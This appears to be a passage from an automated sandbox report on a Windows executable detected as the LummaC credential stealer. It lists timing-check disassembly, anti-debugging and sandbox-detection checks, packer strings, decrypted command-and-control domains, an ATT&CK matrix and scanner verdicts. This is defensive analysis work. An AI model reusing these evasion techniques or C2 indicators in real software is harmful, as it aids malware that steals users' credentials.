Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6B98 second address: 11C6BB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB88452E0B6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7319 second address: 11C731F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C731F second address: 11C7331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB88452E0BCh 0x0000000c jno 00007FB88452E0B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C511F second address: 11C5133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 push ebx 0x0000000a js 00007FB884CB2346h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD4D7 second address: 11CD4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC731 second address: 11DC755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FB884CB2346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FB884CB2352h 0x00000012 pop edi 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC755 second address: 11DC759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2D4 second address: 11DC2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jo 00007FB884CB2346h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2E3 second address: 11DC2E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2E9 second address: 11DC2FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB884CB234Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2FC second address: 11DC337 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB88452E0B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 jmp 00007FB88452E0BFh 0x00000015 pop esi 0x00000016 push edx 0x00000017 jmp 00007FB88452E0C1h 0x0000001c pushad 0x0000001d popad 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC337 second address: 11DC33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE5C0 second address: 11DE5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE32E second address: 11DE335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE335 second address: 11DE34D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE34D second address: 11DE351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB238 second address: 11EB240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB240 second address: 11EB244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6D91 second address: 11F6DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FB88452E0C6h 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB88452E0C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6DC7 second address: 11F6DCC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6DCC second address: 11F6DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6DD2 second address: 11F6DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jnl 00007FB884CB2346h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7397 second address: 11F739D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F739D second address: 11F73BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB884CB2356h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F73BF second address: 11F73D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F73D0 second address: 11F73D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F73D6 second address: 11F73DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F73DA second address: 11F73EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB884CB2346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7680 second address: 11F7685 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C152 second address: 120C157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C157 second address: 120C15C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121873E second address: 121874B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B1FE second address: 121B212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB88452E0C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AED0 second address: 121AEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233828 second address: 123382E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233AD5 second address: 1233AFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2358h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FB884CB234Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233FC5 second address: 1233FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB88452E0C9h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233FE9 second address: 1233FF3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233FF3 second address: 1234002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB88452E0BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234002 second address: 1234006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234190 second address: 1234199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234199 second address: 12341A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB884CB2346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12344A5 second address: 12344DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB88452E0B6h 0x0000000a jnl 00007FB88452E0B6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 jne 00007FB88452E0DAh 0x0000001a push esi 0x0000001b jmp 00007FB88452E0C8h 0x00000020 pop esi 0x00000021 pushad 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123462B second address: 123462F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123606D second address: 123607D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007FB88452E0F0h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123607D second address: 123608F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB884CB2346h 0x0000000a je 00007FB884CB2346h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235EB3 second address: 1235ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push edi 0x00000008 jnl 00007FB88452E0BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235ECD second address: 1235ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12377BF second address: 12377E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jne 00007FB88452E0CCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12377E6 second address: 12377F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push edi 0x0000000a jno 00007FB884CB2346h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12377F7 second address: 123781A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB88452E0CDh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007FB88452E0C5h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B5A1 second address: 123B5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B5AE second address: 123B5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B5B4 second address: 123B5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B661 second address: 123B665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123D380 second address: 123D38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB884CB2346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123D38A second address: 123D390 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CF51 second address: 123CF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB884CB2346h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123EF29 second address: 123EF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB88452E0B6h 0x0000000a pop esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220E20 second address: 5220E2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB234Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220E2F second address: 5220E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220E35 second address: 5220E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220E39 second address: 5220EAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e jmp 00007FB88452E0C7h 0x00000013 test ecx, ecx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FB88452E0C4h 0x0000001c jmp 00007FB88452E0C5h 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 pushfd 0x00000025 jmp 00007FB88452E0BEh 0x0000002a or esi, 751FD2F8h 0x00000030 jmp 00007FB88452E0BBh 0x00000035 popfd 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220EAF second address: 5220F49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2358h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jns 00007FB884CB2360h 0x00000010 pushad 0x00000011 mov bl, ah 0x00000013 popad 0x00000014 add eax, ecx 0x00000016 jmp 00007FB884CB2354h 0x0000001b mov eax, dword ptr [eax+00000860h] 0x00000021 jmp 00007FB884CB2350h 0x00000026 test eax, eax 0x00000028 pushad 0x00000029 call 00007FB884CB234Eh 0x0000002e jmp 00007FB884CB2352h 0x00000033 pop eax 0x00000034 mov ecx, edx 0x00000036 popad 0x00000037 je 00007FB8F568817Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FB884CB2358h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220F49 second address: 5220FAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [eax+04h], 00000005h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FB88452E0BBh 0x00000016 sbb si, 60EEh 0x0000001b jmp 00007FB88452E0C9h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FB88452E0C0h 0x00000027 or al, 00000068h 0x0000002a jmp 00007FB88452E0BBh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11562F6 second address: 11562FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11562FF second address: 1156328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB88452E0C8h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jno 00007FB88452E0B6h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115654F second address: 1156553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA3CAC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA3D90 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1149017 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11D47F8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5012

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1702889044.0000000001658000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701873866.0000000001656000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F85BB0 LdrInitializeThunk,

0_2_00F85BB0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: licendfilteo.site
Source: file.exe	String found in binary or memory: clearancek.site
Source: file.exe	String found in binary or memory: bathdoomgaz.stor
Source: file.exe	String found in binary or memory: spirittunek.stor
Source: file.exe	String found in binary or memory: dissapoiznw.stor
Source: file.exe	String found in binary or memory: studennotediw.stor
Source: file.exe	String found in binary or memory: mobbipenju.stor
Source: file.exe	String found in binary or memory: eaglepawnoy.stor

Source: file.exe, 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2q%Program Manager
Source: file.exe	Binary or memory string: 2q%Program Manager

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Process Injection	24 Virtualization/Sandbox Evasion	OS Credential Dumping	631 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	32%	ReversingLabs
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
